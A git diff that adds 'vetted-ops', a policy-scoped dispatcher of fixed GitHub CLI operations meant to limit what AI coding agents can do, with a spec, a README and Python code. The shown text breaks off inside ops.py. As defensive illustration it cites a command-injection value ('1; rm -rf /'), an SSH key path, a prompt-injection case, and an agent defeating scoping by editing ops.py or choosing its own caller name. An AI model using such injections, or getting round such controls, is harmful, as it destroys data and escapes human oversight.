diff --git a/docs/labels-and-capabilities.md b/docs/labels-and-capabilities.md index 95b7046a..e881739a 100644 --- a/docs/labels-and-capabilities.md +++ b/docs/labels-and-capabilities.md @@ -321,6 +321,7 @@ or a contract-free mix of substrates (e.g. `tools/spec-inventory` is | [`tools/ponymail`](../tools/ponymail/) | `contract:mail-archive` + `contract:mail-source` | PonyMail public mail-archive substrate (ASF `lists.apache.org`); implements the `tools/mail-archive/` contract for archive reads and the `tools/mail-source/` contract for inbound list-traffic ingestion | | [`tools/scan-format`](../tools/scan-format/) | `contract:scan-format` | Adapter contract for security-scanner report formats (ASVS reference); reads a scan's finding index + per-finding evidence for the `security-issue-import-from-scan` pipeline. | | [`tools/permission-audit`](../tools/permission-audit/) | `substrate:sandbox` | Audit + atomically edit Claude Code `permissions.allow[]` entries; backs `/magpie-setup verify --apply-permission-audit` (check 8d) | +| [`tools/vetted-ops`](../tools/vetted-ops/) | `substrate:sandbox` | Fixed, policy-scoped forge operations — a closed catalogue whose parameters can never become commands or flags, so one `allow` entry replaces the wildcard Layer 3 `ask` rules | | [`tools/pr-management-stats`](../tools/pr-management-stats/) | `substrate:analytics` | PR-backlog analytics engine | | [`tools/preflight-audit`](../tools/preflight-audit/) | `substrate:analytics` | Dry-run the bulk-mode pre-flight classifier; measure skip-rate before / after any rule edit in the security-issue-sync skill | | [`tools/privacy-llm`](../tools/privacy-llm/) | `substrate:privacy` | Privacy-LLM PII-scrubbing gate | diff --git a/docs/vendor-neutrality.md b/docs/vendor-neutrality.md index 0fb5ed80..50b578dd 100644 --- a/docs/vendor-neutrality.md +++ b/docs/vendor-neutrality.md @@ -579,7 +579,7 @@ Organization scope (declared, orthogonal to vendor): ASF = 14, agnostic = 60. **LLM / agent-integration neutrality** -**Agent harness: 22/22 substrate tools run under any harness unchanged (100%).** Substrate tools are Magpie's own machinery; each declares the agent harness it integrates with (`**Harness:**`), or `agnostic`. A tool is neutral when it is harness-agnostic or supports two or more harnesses; *coupled* when it targets a single harness. +**Agent harness: 23/23 substrate tools run under any harness unchanged (100%).** Substrate tools are Magpie's own machinery; each declares the agent harness it integrates with (`**Harness:**`), or `agnostic`. A tool is neutral when it is harness-agnostic or supports two or more harnesses; *coupled* when it targets a single harness. | Substrate tool | Substrate | Harness support | Verdict | |---|---|---|---| @@ -605,6 +605,7 @@ Organization scope (declared, orthogonal to vendor): ASF = 14, agnostic = 60. | `spec-validator` | framework-dev | any | ✅ agnostic | | `symlink-lint` | framework-dev | any | ✅ agnostic | | `vendor-neutrality-score` | framework-dev, analytics | any | ✅ agnostic | +| `vetted-ops` | sandbox | any | ✅ agnostic | Harness → substrate tools it supports: @@ -614,7 +615,7 @@ Harness → substrate tools it supports: - **Gemini CLI** (2): `sandbox-lint`, `spec-loop` - **Kiro** (3): `agent-guard`, `sandbox-lint`, `spec-loop` - **OpenCode** (3): `agent-guard`, `sandbox-lint`, `spec-loop` -- **any harness** (19): `agent-isolation`, `dashboard-generator`, `dev`, `egress-gateway`, `permission-audit`, `pilot-report-validator`, `pr-management-stats`, `preflight-audit`, `privacy-llm`, `probe-templates`, `security-tracker-stats-dashboard`, `skill-and-tool-validator`, `skill-evals`, `skill-reconciler-diff`, `spec-inventory`, `spec-status-index`, `spec-validator`, `symlink-lint`, `vendor-neutrality-score` +- **any harness** (20): `agent-isolation`, `dashboard-generator`, `dev`, `egress-gateway`, `permission-audit`, `pilot-report-validator`, `pr-management-stats`, `preflight-audit`, `privacy-llm`, `probe-templates`, `security-tracker-stats-dashboard`, `skill-and-tool-validator`, `skill-evals`, `skill-reconciler-diff`, `spec-inventory`, `spec-status-index`, `spec-validator`, `symlink-lint`, `vendor-neutrality-score`, `vetted-ops` **Model endpoint: neutral by construction — 4 default-approved endpoint classes across independent trust domains, plus adopter opt-in.** From the [`privacy-llm` registry](../tools/privacy-llm/models.md): the framework keys approval on *endpoint identity*, not on who hosts the model, so no single LLM vendor is privileged. diff --git a/pyproject.toml b/pyproject.toml index 9da6bd15..e4201b56 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -133,6 +133,7 @@ members = [ "tools/symlink-lint", "tools/vcs", "tools/vendor-neutrality-score", + "tools/vetted-ops", "tools/fossil", "tools/sourcehut", ] diff --git a/tools/spec-loop/specs/README.md b/tools/spec-loop/specs/README.md index 9d6170b3..a7bcb21d 100644 --- a/tools/spec-loop/specs/README.md +++ b/tools/spec-loop/specs/README.md @@ -53,7 +53,8 @@ Start with [`overview.md`](overview.md), then: [`good-first-issue-sweep.md`](good-first-issue-sweep.md), [`codex-runtime.md`](codex-runtime.md), [`maintainer-education.md`](maintainer-education.md), - [`spec-gap-staleness.md`](spec-gap-staleness.md). + [`spec-gap-staleness.md`](spec-gap-staleness.md), + [`vetted-command-surface.md`](vetted-command-surface.md). (Agentic Autonomous, the fifth MISSION mode, is deliberately off and has no spec — see the note in [`overview.md`](overview.md).) diff --git a/tools/spec-loop/specs/overview.md b/tools/spec-loop/specs/overview.md index fa1adc3c..f4ae047e 100644 --- a/tools/spec-loop/specs/overview.md +++ b/tools/spec-loop/specs/overview.md @@ -68,6 +68,7 @@ Each mode is an independently toggleable set of skills. Maturity mirrors | Good-first-issue backlog sweep | [good-first-issue-sweep.md](good-first-issue-sweep.md) | | Codex first-class skill runtime | [codex-runtime.md](codex-runtime.md) | | Spec-gap staleness verification (proposed) | [spec-gap-staleness.md](spec-gap-staleness.md) | +| Vetted command surface (fixed-shape forge ops) | [vetted-command-surface.md](vetted-command-surface.md) | ## The non-negotiables every area inherits diff --git a/tools/spec-loop/specs/vetted-command-surface.md b/tools/spec-loop/specs/vetted-command-surface.md new file mode 100644 index 00000000..a49f8103 --- /dev/null +++ b/tools/spec-loop/specs/vetted-command-surface.md @@ -0,0 +1,100 @@ + + +# Vetted command surface + +**Status:** partial — the dispatcher ships; per-scope enforcement does not. + +**Capability:** substrate:sandbox + +## Problem + +[RFC-AI-0002 Layer 3](../../../docs/rfcs/RFC-AI-0002.md) forces confirmation on +outward-visible actions with wildcard rules — `Bash(gh issue edit *)`, +`Bash(gh api * -X *)`, and so on. The wildcard is what makes the rule safe (an +unbounded argument surface cannot be pre-approved) and also what makes it +expensive: a maintainer sweeping thirty trackers answers a hundred prompts, and +the hundredth gets less attention than the first. + +Prompt fatigue is a security failure, not an ergonomics complaint. A posture that +is correct but unusable degrades into a posture that is bypassed. + +## Approach + +Replace the wildcard, not the confirmation. Route forge actions through a +dispatcher whose operations are a **closed catalogue** of fixed shapes: + +- parameters are typed and validated; none may start with `-`; +- builders return `list[str]` executed without a shell, so no parameter can + become a command or a flag; +- the repository is policy, never a parameter; +- value-bearing parameters (labels, milestones, assignees, columns, close + reasons) must appear in adopter-declared enums; +- free text reaches the forge only by file reference, and the file must resolve + inside a declared workspace. + +A bounded effect set can be `allow`ed once. Widening it is a reviewed code +change. + +Shipping implementation: [`tools/vetted-ops`](../../vetted-ops/README.md). + +## Scoping — what is real and what is aspiration + +The dispatcher requires `--caller` and refuses operations outside that caller's +declared manifest. **This is least-privilege, not a security boundary.** Within a +session the agent is one principal and supplies `--caller` itself. It defends +against the wrong skill reaching for the wrong operation — including the +prompt-injection case where hostile issue text talks a read-only triage pass into +a state change — and not against a determined agent. + +A real boundary requires the runtime to bind scope to permissions. Surveying what +exists today: + +| Mechanism | Available? | Note | +|---|---|---| +| Plugin-declared permissions | No | No `permissions` field in a plugin manifest | +| Marketplace-declared permissions | No | Same | +| `permissionMode` on plugin agents | No | Explicitly unsupported, for security reasons | +| Subagent with a restricted `tools` list | **Partly** | Claude Code only | + +The last row is the opening. A skill that delegates its write operations to a +subagent shipping a restricted `tools` list gets enforcement from the runtime +rather than from an honour-system argument. It is not portable: Claude Code +supports it, the only other shipping runtime adapter is Codex +(`experimental`), and the remaining runtimes are unimplemented extension points +per [`docs/adapters/registry.md`](../../../docs/adapters/registry.md). + +## Future work + +1. **Per-scope enforcement where the runtime allows it.** Ship write operations + behind a subagent with a restricted tool list on runtimes that support it, + keeping the dispatcher as the portable floor. Treat it the way + [RFC-AI-0002 treats the push gate](../../../docs/rfcs/RFC-AI-0002.md): a + harness-specific hardening layered on a harness-agnostic base, with the + asymmetry stated rather than hidden. + +2. **Generalise beyond the security family.** The catalogue is currently shaped by + the security-issue lifecycle because that is where the sweep volume is. The + same argument applies to any skill family that makes many small forge + writes — PR management, repo health, release management. Each needs its own + operations and its own caller manifests; none needs a second dispatcher. + +3. **Adapter parity.** Operations are `gh`-shaped today. The forge is already an + adapter axis (`github`, `jira`, `bitbucket`, `sourcehut`, `fossil`), so the + catalogue should eventually resolve its builder per configured forge rather + than assuming one. + +4. **Close the loop with `permission-audit`.** Once a repo routes through the + dispatcher, its wildcard `ask` rules become dead weight; + [`tools/permission-audit`](../../permission-audit/README.md) is the natural + place to detect and offer to remove them. + +## Non-goals + +- **Replacing the sandbox.** This operates at Layer 3 only. Layers 0–2 are + unchanged and still carry the load. +- **Removing human confirmation from genuinely novel actions.** Anything outside + the catalogue keeps its `ask` rule. The catalogue is deliberately small and + grows by review. +- **Pretending `--caller` is authentication.** Stated plainly wherever the + mechanism is documented. diff --git a/tools/vetted-ops/README.md b/tools/vetted-ops/README.md new file mode 100644 index 00000000..c6cc151c --- /dev/null +++ b/tools/vetted-ops/README.md @@ -0,0 +1,191 @@ + + + + +**Table of Contents** *generated with [DocToc](https://github.com/thlorenz/doctoc)* + +- [vetted-ops](#vetted-ops) + - [Prerequisites](#prerequisites) + - [Why](#why) + - [What it actually guarantees](#what-it-actually-guarantees) + - [What it does *not* guarantee](#what-it-does-not-guarantee) + - [Configuration](#configuration) + - [CLI](#cli) + - [Wiring it into settings](#wiring-it-into-settings) + - [Tests](#tests) + - [Referenced by](#referenced-by) + + + + + +# vetted-ops + +**Capability:** substrate:sandbox + +**Harness:** agnostic + +A dispatcher for **fixed, policy-scoped forge operations**, so an agent session +needs *one* allowlist entry instead of a dozen wildcard `ask` rules. + +## Prerequisites + +- **Runtime:** Python 3.11+ via `uv`. The package itself is stdlib-only. +- **CLIs:** the `gh` CLI on `PATH`, authenticated for the repositories the policy + names. Every operation shells out to it; the dispatcher runs nothing else. +- **Credentials:** whatever `gh` already uses (`~/.config/gh/`). This tool reads + no credential of its own and stores none. +- **Network:** only what `gh` needs — `github.com` / `api.github.com`. +- **Configuration:** a policy TOML (see *Configuration*). Without one, every + operation refuses. + +## Why + +[RFC-AI-0002 Layer 3](../../docs/rfcs/RFC-AI-0002.md) forces confirmation on every +outward-visible action: + +```json +"ask": [ "Bash(gh issue edit *)", "Bash(gh issue comment *)", + "Bash(gh issue close *)", "Bash(gh api * -X *)", … ] +``` + +The wildcard is doing the work, and it is also the cost. `gh issue edit *` covers +an unbounded argument surface — `--add-label`, `--body`, `--repo ` — so a human has to read every invocation to know what it does. On a +sweep that touches thirty trackers, that is a hundred prompts, and the hundredth +gets the same attention as the first. Prompt fatigue is itself a security +problem. + +This tool removes the wildcard rather than the confirmation. Each operation is a +**closed shape**: a name, typed parameters, and a builder that returns an argv +list. The repository comes from policy, not the command line. Labels, milestones, +assignees, board columns and close reasons must be values the policy declares. +Because the effect set is bounded by construction, the dispatcher can be +`allow`ed once instead of `ask`ed every time. + +## What it actually guarantees + +Being precise, because a security tool that overstates itself is worse than none: + +- **A parameter can never become a command.** Builders return `list[str]`, executed + with `subprocess.run(..., shell=False)`. There is no string interpolation + anywhere in the path, so `1; rm -rf /` is simply an invalid issue number. +- **A parameter can never become a flag.** Any parameter starting with `-` is + refused before validation, which closes flag-injection into `gh`. +- **The repo is not addressable.** No operation takes a repository parameter; it + is read from policy. An operation cannot be pointed at another repository. +- **Body content is free; body *location* is not.** Comment bodies are passed by + file reference, so the text may contain anything — backticks, `$(…)`, + newlines. What is constrained is which file may be read: it must resolve inside + the configured workspace, so an operation cannot be talked into publishing + `~/.ssh/id_rsa`. +- **The catalogue is closed.** Widening the surface means editing + [`ops.py`](src/vetted_ops/ops.py) — a reviewed code change, not a runtime + decision. + +### What it does *not* guarantee + +**Per-caller scoping is least-privilege, not a security boundary.** The policy +declares which operations each caller may run, and `--caller` is required. But +within one agent session the agent is a single principal that chooses what to +pass as `--caller`. This protects against *the wrong skill reaching for the wrong +operation* — a real and common failure, especially under prompt injection, where +a hostile issue body talks a read-only triage pass into closing something. It +does **not** stop a determined agent. + +A genuine boundary needs the runtime to bind scope to permissions. Today no +portable mechanism exists: plugin manifests cannot declare permissions, and +`permissionMode` is unsupported for plugin-shipped agents. The closest available +primitive is a subagent with a restricted `tools` list, which is **Claude +Code-specific** — the only other shipping runtime adapter is Codex +(`experimental`). See +[`tools/spec-loop/specs/vetted-command-surface.md`](../spec-loop/specs/vetted-command-surface.md) +for that trajectory. + +**This is not a substitute for the sandbox.** It reduces prompt volume at Layer 3. +Layers 0–2 are unchanged and still carry the load. + +## Configuration + +Adopter-owned, at +`.apache-magpie-overrides/tools/vetted-ops/config.toml` by default: + +```toml +# Body files must resolve inside this directory. +workspace = "/tmp/agent-scratch" + +[repos] +tracker = "acme/tracker" +upstream = "acme/product" + +[values] +labels = ["needs triage", "cve allocated", "pr merged"] +milestones = ["1.2.3", "1.3.0"] +assignees = ["alice", "bob"] +issue_states = ["open", "closed", "all"] +close_reasons = ["completed", "not planned"] + +board_project_id = "PVT_kwDO…" # ProjectV2 node id +board_status_field_id = "PVTSSF_…" # its Status field id + +[values.board_columns] # column name -> single-select option id +"Assessed" = "aee65beb" +"CVE allocated" = "aae2beb3" + +[callers] # caller -> operations it may run +"security-issue-sync" = ["issue-view", "issue-comments", "issue-add-label", + "issue-set-milestone", "issue-comment", "comment-update"] +"security-issue-triage" = ["issue-view", "issue-comments"] +``` + +The policy is never supplied on the command line: a caller cannot widen its own +policy. + +## CLI + +```bash +vetted-op list-ops # the catalogue +vetted-op policy # resolved policy, as JSON +vetted-op --caller [param …] +vetted-op --caller [param …] --dry-run # print argv, run nothing +``` + +Exit codes: `0` ok, `2` usage, `3` refused by policy or validation, `4` the +underlying command failed. + +## Wiring it into settings + +Replace the wildcard `ask` rules with one `allow` entry, and keep an `ask` on +anything still invoked directly: + +```json +"permissions": { + "allow": [ "Bash(uv run --project /tools/vetted-ops vetted-op *)" ] +} +``` + +The dispatcher must live where the agent cannot rewrite it — otherwise an agent +that edits `ops.py` has defeated the whole design. Shipping it inside the +installed plugin tree satisfies this: the plugin install is not a path the agent +edits. If you vendor it into a repo the agent *does* edit, add a +`permissions.deny` on `Write`/`Edit` for that path, and understand that the +guarantee is then only as strong as that rule. + +## Tests + +```bash +uv run --project . python -m pytest +``` + +The suite asserts the properties above rather than the plumbing: hostile +parameters are refused, every builder produces a `gh` argv, the repo cannot be +influenced by a parameter, body files outside the workspace are rejected while +hostile body *content* passes through untouched, and a caller cannot run an +operation outside its manifest. + +## Referenced by + +- [RFC-AI-0002](../../docs/rfcs/RFC-AI-0002.md) — the layered agent-isolation posture. +- [`tools/spec-loop/specs/vetted-command-surface.md`](../spec-loop/specs/vetted-command-surface.md) diff --git a/tools/vetted-ops/pyproject.toml b/tools/vetted-ops/pyproject.toml new file mode 100644 index 00000000..0649ef44 --- /dev/null +++ b/tools/vetted-ops/pyproject.toml @@ -0,0 +1,85 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "vetted-ops" +version = "0.1.0" +description = "Run fixed, policy-scoped GitHub operations so an agent session needs one allowlist entry instead of wildcard ask-rules." +readme = "README.md" +requires-python = ">=3.11" +license = { text = "Apache-2.0" } +# Runtime is stdlib-only; the dispatcher shells out to `gh` via an argv list. +dependencies = [] + +[project.scripts] +vetted-op = "vetted_ops:main" + +[tool.hatch.build.targets.wheel] +packages = ["src/vetted_ops"] + +[tool.ruff] +line-length = 110 +target-version = "py311" +src = ["src", "tests"] + +[tool.ruff.lint] +select = [ + "E", # pycodestyle errors + "W", # pycodestyle warnings + "F", # pyflakes + "I", # isort + "B", # flake8-bugbear + "UP", # pyupgrade + "SIM", # flake8-simplify + "C4", # flake8-comprehensions + "RUF", # ruff-specific +] +ignore = [ + "E501", # line-too-long — the 110-char limit above is already generous +] + +[tool.ruff.lint.per-file-ignores] +"tests/**" = ["B", "SIM"] # test clarity beats these + +[tool.mypy] +python_version = "3.11" +files = ["src", "tests"] +warn_unused_ignores = true +warn_redundant_casts = true +warn_unreachable = true +check_untyped_defs = true +no_implicit_optional = true +disallow_untyped_defs = true +disallow_incomplete_defs = true + +[[tool.mypy.overrides]] +module = "tests.*" +disallow_untyped_defs = false +disallow_incomplete_defs = false + +[tool.pytest.ini_options] +minversion = "8.0" +addopts = "-ra -q" +testpaths = ["tests"] + +[dependency-groups] +# The shared toolchain (mypy, pytest, ruff) comes from `magpie-dev` +# (tools/dev), declared once for the whole workspace. +dev = ["magpie-dev"] diff --git a/tools/vetted-ops/src/vetted_ops/__init__.py b/tools/vetted-ops/src/vetted_ops/__init__.py new file mode 100644 index 00000000..c6e52601 --- /dev/null +++ b/tools/vetted-ops/src/vetted_ops/__init__.py @@ -0,0 +1,22 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Vetted, policy-scoped GitHub operations for agent sessions.""" + +from .cli import main + +__all__ = ["main"] diff --git a/tools/vetted-ops/src/vetted_ops/cli.py b/tools/vetted-ops/src/vetted_ops/cli.py new file mode 100644 index 00000000..ce81be3a --- /dev/null +++ b/tools/vetted-ops/src/vetted_ops/cli.py @@ -0,0 +1,146 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +""" +The dispatcher. + +``vetted-op --caller [param …]`` + +Everything the caller supplies is a *parameter*, never a fragment of a command. +The operation name selects a builder from the closed catalogue; the builder +returns an argv list; the argv list is executed without a shell. There is no +path by which a parameter becomes an argument to ``gh`` that the catalogue did +not put there. +""" + +from __future__ import annotations + +import argparse +import subprocess +import sys +from pathlib import Path + +from . import ops as ops_mod +from .config import Config, ConfigError, describe, load + +EXIT_OK = 0 +EXIT_USAGE = 2 +EXIT_POLICY = 3 +EXIT_COMMAND = 4 + + +def _validate_params(op: ops_mod.Op, values: list[str], config: Config) -> dict[str, str]: + if len(values) != len(op.params): + raise ops_mod.ParamError( + f"operation {op.name!r} takes {len(op.params)} parameter(s) " + f"({', '.join(op.params) or 'none'}), got {len(values)}" + ) + + resolved: dict[str, str] = {} + for name, raw in zip(op.params, values, strict=True): + # A parameter is never an option. Rejecting a leading dash removes the + # whole class of "smuggle a flag into gh" tricks before any validator + # even runs. + if raw.startswith("-"): + raise ops_mod.ParamError(f"parameter {name!r} may not start with '-': {raw!r}") + + if name in op.enums: + resolved[name] = ops_mod.enum(config.enum_values(op.enums[name]))(raw) + elif name in op.body_files: + resolved[name] = ops_mod.body_file(raw, workspace=config.workspace) + elif name in {"number", "comment_id"}: + resolved[name] = ops_mod.number(raw) + elif name in {"ref", "base", "head", "prefix"}: + resolved[name] = ops_mod.ref(raw) + elif name == "path": + resolved[name] = ops_mod.repo_path(raw) + elif name == "login": + resolved[name] = ops_mod.login(raw) + elif name == "ghsa": + resolved[name] = ops_mod.ghsa(raw) + elif name == "item_id": + resolved[name] = ops_mod.node_id(raw) + else: # pragma: no cover - guarded by the catalogue test + raise ops_mod.ParamError(f"operation {op.name!r} declares unknown parameter {name!r}") + return resolved + + +def build_argv(op: ops_mod.Op, params: dict[str, str], config: Config) -> list[str]: + argv = op.build(config.as_mapping(), **params) + if not isinstance(argv, list) or not all(isinstance(a, str) for a in argv): + raise ops_mod.ParamError(f"operation {op.name!r} produced a malformed argv") + if argv[0] != "gh": + raise ops_mod.ParamError(f"operation {op.name!r} tried to run {argv[0]!r}, not gh") + return argv + + +def main(argv: list[str] | None = None) -> int: + parser = argparse.ArgumentParser( + prog="vetted-op", + description="Run one fixed, policy-scoped GitHub operation. No pass-through arguments.", + ) + parser.add_argument("--caller", help="the skill or plugin invoking this operation") + parser.add_argument("--config", type=Path, default=None, help="path to the policy TOML") + parser.add_argument("--dry-run", action="store_true", help="print the argv that would run, then exit") + parser.add_argument("operation", nargs="?", help="operation name, or 'list-ops' / 'policy'") + parser.add_argument("params", nargs="*", help="operation parameters, positionally") + args = parser.parse_args(argv) + + if args.operation in (None, "list-ops"): + for name, op in sorted(ops_mod.OPS.items()): + kind = "write" if op.writes else "read " + print(f"{kind} {name:<22} {' '.join(op.params)}\n {op.summary}") + return EXIT_OK + + try: + config = load(args.config) + except ConfigError as exc: + print(f"vetted-op: config error: {exc}", file=sys.stderr) + return EXIT_POLICY + + if args.operation == "policy": + print(describe(config)) + return EXIT_OK + + if not args.caller: + print("vetted-op: --caller is required for any operation", file=sys.stderr) + return EXIT_USAGE + + try: + op = ops_mod.resolve(args.operation) + permitted = config.ops_for(args.caller) + if op.name not in permitted: + raise ops_mod.ParamError( + f"caller {args.caller!r} is not permitted to run {op.name!r}; " + f"permitted: {', '.join(sorted(permitted)) or '(none)'}" + ) + params = _validate_params(op, list(args.params), config) + command = build_argv(op, params, config) + except (ops_mod.ParamError, ConfigError) as exc: + print(f"vetted-op: refused: {exc}", file=sys.stderr) + return EXIT_POLICY + + if args.dry_run: + print(" ".join(command)) + return EXIT_OK + + # No shell. The argv list is passed through verbatim. + completed = subprocess.run(command, check=False) + if completed.returncode != EXIT_OK: + print(f"vetted-op: {op.name} failed (gh exit {completed.returncode})", file=sys.stderr) + return EXIT_COMMAND + return EXIT_OK diff --git a/tools/vetted-ops/src/vetted_ops/config.py b/tools/vetted-ops/src/vetted_ops/config.py new file mode 100644 index 00000000..58f21340 --- /dev/null +++ b/tools/vetted-ops/src/vetted_ops/config.py @@ -0,0 +1,147 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +""" +Configuration loading for the vetted-op surface. + +The config is the *policy*: which repositories the operations act on, which +label / milestone / column values are permitted, and which caller may invoke +which operation. It is adopter-owned data, read from the adopter repo, and is +never supplied on the command line — a caller cannot widen its own policy. +""" + +from __future__ import annotations + +import json +import re +import tomllib +from dataclasses import dataclass +from pathlib import Path + +#: `owner/name`, conservative on both halves. +_REPO = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,100}/[A-Za-z0-9][A-Za-z0-9._-]{0,100}$") + +DEFAULT_RELATIVE_PATH = Path(".apache-magpie-overrides/tools/vetted-ops/config.toml") + + +class ConfigError(RuntimeError): + """Raised when the configuration is missing, malformed, or unsafe.""" + + +@dataclass(frozen=True) +class Config: + """Resolved, validated policy.""" + + tracker_repo: str + upstream_repo: str + workspace: Path + #: Enum name -> permitted values. Board columns map name -> option id. + values: dict[str, object] + #: Caller name -> permitted operation names. + callers: dict[str, frozenset[str]] + + def as_mapping(self) -> dict[str, object]: + """The mapping handed to an operation's ``build`` callable.""" + merged: dict[str, object] = dict(self.values) + merged["tracker_repo"] = self.tracker_repo + merged["upstream_repo"] = self.upstream_repo + return merged + + def enum_values(self, key: str) -> list[str]: + raw = self.values.get(key) + if raw is None: + raise ConfigError(f"config declares no {key!r} list, so no operation may use it") + if isinstance(raw, dict): + return sorted(raw) + if isinstance(raw, list) and all(isinstance(v, str) for v in raw): + return list(raw) + raise ConfigError(f"config key {key!r} must be a list of strings or a table") + + def ops_for(self, caller: str) -> frozenset[str]: + try: + return self.callers[caller] + except KeyError: + known = ", ".join(sorted(self.callers)) or "(none)" + raise ConfigError( + f"caller {caller!r} is not declared in the config; declared callers: {known}" + ) from None + + +def _require_repo(raw: dict[str, object], key: str) -> str: + value = raw.get(key) + if not isinstance(value, str) or not _REPO.match(value): + raise ConfigError(f"{key!r} must be an 'owner/name' string, got {value!r}") + return value + + +def load(path: Path | None = None, *, cwd: Path | None = None) -> Config: + """Load and validate the policy.""" + base = (cwd or Path.cwd()).resolve() + resolved = path if path is not None else base / DEFAULT_RELATIVE_PATH + if not resolved.is_file(): + raise ConfigError(f"no vetted-ops config at {resolved}") + + with resolved.open("rb") as handle: + raw = tomllib.load(handle) + + repos = raw.get("repos") + if not isinstance(repos, dict): + raise ConfigError("config needs a [repos] table with tracker and upstream") + + workspace_raw = raw.get("workspace") + if not isinstance(workspace_raw, str) or not workspace_raw: + raise ConfigError("config needs a top-level 'workspace' path for body files") + workspace = Path(workspace_raw).expanduser() + if not workspace.is_absolute(): + workspace = (base / workspace).resolve() + + values_raw = raw.get("values", {}) + if not isinstance(values_raw, dict): + raise ConfigError("[values] must be a table") + + callers_raw = raw.get("callers", {}) + if not isinstance(callers_raw, dict): + raise ConfigError("[callers] must be a table of caller -> list of operation names") + + callers: dict[str, frozenset[str]] = {} + for name, ops in callers_raw.items(): + if not isinstance(ops, list) or not all(isinstance(o, str) for o in ops): + raise ConfigError(f"callers.{name} must be a list of operation names") + callers[name] = frozenset(ops) + + return Config( + tracker_repo=_require_repo(repos, "tracker"), + upstream_repo=_require_repo(repos, "upstream"), + workspace=workspace, + values=dict(values_raw), + callers=callers, + ) + + +def describe(config: Config) -> str: + """A stable, machine-readable summary — used by `vetted-op policy`.""" + return json.dumps( + { + "tracker_repo": config.tracker_repo, + "upstream_repo": config.upstream_repo, + "workspace": str(config.workspace), + "values": {k: (sorted(v) if isinstance(v, dict) else v) for k, v in config.values.items()}, + "callers": {k: sorted(v) for k, v in sorted(config.callers.items())}, + }, + indent=2, + sort_keys=True, + ) diff --git a/tools/vetted-ops/src/vetted_ops/ops.py b/tools/vetted-ops/src/vetted_ops/ops.py new file mode 100644 index 00000000..1c95881c --- /dev/null +++ b/tools/vetted-ops/src/vetted_ops/ops.py @@ -0,0 +1,540 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +""" +The fixed operation catalogue. + +Every operation is a *closed* shape: a name, a list of typed parameters, and a +builder that returns an **argv list**. No operation accepts pass-through +arguments, and no builder ever produces a shell string — the argv list is handed +to ``subprocess.run`` without a shell, so no amount of hostile content in a +parameter can become a command. + +Adding an operation here is the only way to widen the surface, and doing so is a +reviewed code change rather than a runtime decision. +""" + +from __future__ import annotations + +import re +from collections.abc import Callable, Sequence +from dataclasses import dataclass, field +from pathlib import Path + +# -------------------------------------------------------------------------- +# Parameter types +# -------------------------------------------------------------------------- + +#: Issue / PR / comment numbers. Bounded length so a parameter cannot smuggle a +#: long payload even in a numeric-looking field. +_NUMBER = re.compile(r"^[0-9]{1,10}$") + +#: A git ref or tag name. Deliberately narrow: no whitespace, no shell +#: metacharacters, no leading dash. +_REF = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._/-]{0,200}$") + +#: A repo-relative path used for content probes. No absolute paths, no `..`. +_REPO_PATH = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._/-]{0,300}$") + +#: A GitHub login. +_LOGIN = re.compile(r"^[A-Za-z0-9](?:[A-Za-z0-9-]{0,38})$") + +#: A GHSA identifier. +_GHSA = re.compile(r"^GHSA-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}$") + +#: A ProjectV2 node id, as returned by the GraphQL API. +_NODE_ID = re.compile(r"^[A-Za-z0-9_-]{1,120}$") + + +class ParamError(ValueError): + """Raised when a parameter fails validation.""" + + +def _check(pattern: re.Pattern[str], value: str, what: str) -> str: + if not pattern.match(value): + raise ParamError(f"invalid {what}: {value!r}") + return value + + +def number(value: str) -> str: + return _check(_NUMBER, value, "number") + + +def ref(value: str) -> str: + return _check(_REF, value, "git 